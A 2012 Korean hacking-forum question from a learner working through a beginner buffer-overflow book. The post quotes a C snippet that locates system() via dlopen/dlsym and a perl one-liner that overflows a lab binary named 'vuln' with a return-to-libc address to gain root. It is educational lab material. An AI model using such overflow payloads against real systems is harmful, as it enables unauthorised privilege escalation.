22018, 1/1101 회원가입  로그인  
   dudgns0908
   해쿨북 BOF 왕기초편에서 질문이 있습니다.

http://www.hackerschool.org/HS_Boards/zboard.php?AllArticle=true&no=29651 [복사]


root 권한을 획득하라 문제에서 질문이 있습니다.

/bin/bash2

export PATH=$PATH:.

cat > addr_of_system.c
#include <dlfcn,f>

int main()
{
        long addr;
        void *handle;

        handle = dlopen("/lib/libc.so.6", RTLD_LAZY);
        addr = (long)dlsym(handle, "system");
        printf("system() is at 0x%x\n", addr);

}
// 이 함수는 명령어자체를 잘 모르겟네요..ㅠㅠ dlopen(), dlsym() << 이두 명령어 좀 가르쳐주시면 감사하겟습니다.


gcc -o ./addr_of_system addr_of_system.c -lc -ldl

./vuln `perl -e 'printf"A"x84 . "\xe0\x8a\x05\x40"'`

./vuln `perl -e 'printf"A"x84 . "\xe0\x8a\x05\x40"'` 2> output  
// 여기서 다른건 다 이해가 가지만 > 왼쪽   에 2는 왜 있는거죠?? 없어도 될거같은데 말이죠..ㅠㅠ


xxd output

밑에 코드가 더 있긴하지만 필요없을거같아 생략합니다..
이건 책의 마지막에 있는 root 권한을 얻어라의 정답의 일부입니다.(거의 다이긴하지만요..ㅎ)
너무 궁금해서 올려봅니다..^^



  Hit : 11627     Date : 2012/11/16 06:20



    
69 http://blog.naver.com/PostView.nhn?blogId=darkwonderer&logNo=10100045648
구글링 해보세요~
2012/11/16  
dudgns0908 감사합니다! ㅎㅎ 2012/11/22